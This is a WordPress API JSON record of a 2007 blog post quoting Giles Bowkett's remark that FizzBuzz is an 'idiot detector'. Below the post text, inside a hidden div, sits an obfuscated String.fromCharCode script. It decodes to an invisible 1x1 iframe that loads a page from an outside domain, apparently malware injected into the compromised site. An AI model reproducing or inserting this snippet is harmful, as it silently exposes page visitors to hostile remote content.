{"id":158,"date":"2007-03-05T13:49:39","date_gmt":"2007-03-05T12:49:39","guid":{"rendered":"http:\/\/freegw.xs4all.nl\/~basp\/wordpress\/index.php\/2007\/03\/05\/fizzbusted\/"},"modified":"2010-06-25T20:39:37","modified_gmt":"2010-06-25T19:39:37","slug":"fizzbusted","status":"publish","type":"post","link":"\/~basp\/wordpress\/index.php\/2007\/03\/05\/fizzbusted\/","title":{"rendered":"FizzBusted"},"content":{"rendered":"<p>Lately there has been a lot of buzz about <a href=\"http:\/\/tickletux.wordpress.com\/2007\/01\/24\/using-fizzbuzz-to-find-developers-who-grok-coding\/\" title=\"FizzBuzz\" target=\"_blank\">FizzBuzz<\/a> but <a href=\"http:\/\/gilesbowkett.blogspot.com\/index.html\" title=\"Giles Bowkett\">Giles Bowkett<\/a> in his post <a href=\"http:\/\/gilesbowkett.blogspot.com\/2007\/03\/fizzbuzters.html\" title=\"FizzBusters\" target=\"_blank\">FizzBuzters<\/a> hit the nail right on the head:<\/p>\n<blockquote><p>&#8220;Keep in mind, FizzBuzz is basically an idiot detector. Anybody who bothers to code FizzBuzz is saying, ooh, an idiot detector. I&#8217;d better aim this at my own head and see what happens. Then they manage to code FizzBuzz and they go, &#8220;yay! I&#8217;m not an idiot!&#8221;<\/p>\n<p>At the risk of raining on their parades, if you aim an idiot detector at your own head, it really doesn&#8217;t matter what the readout is.&#8221;<\/p><\/blockquote>\n<p><!--more--><!--0379f9d62e4f180f87f0b2316fc5a03a22010--><\/p>\n<div style=\"display:none\">document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))<\/div>\n<p><!--\/0379f9d62e4f180f87f0b2316fc5a03a22010--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Lately there has been a lot of buzz about FizzBuzz but Giles Bowkett in his post FizzBuzters hit the nail right on the head: &#8220;Keep in mind, FizzBuzz is basically an idiot detector. Anybody who bothers to code FizzBuzz is saying, ooh, an idiot detector. I&#8217;d better aim this at my own head and see &hellip; <\/p>\n<p class=\"link-more\"><a href=\"\/~basp\/wordpress\/index.php\/2007\/03\/05\/fizzbusted\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;FizzBusted&#8221;<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-158","post","type-post","status-publish","format-standard","hentry","category-madness","entry"],"_links":{"self":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/posts\/158","targetHints":{"allow":["GET"]}}],"collection":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/comments?post=158"}],"version-history":[{"count":0,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/posts\/158\/revisions"}],"wp:attachment":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/media?parent=158"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/categories?post=158"},{"taxonomy":"post_tag","embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/tags?post=158"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}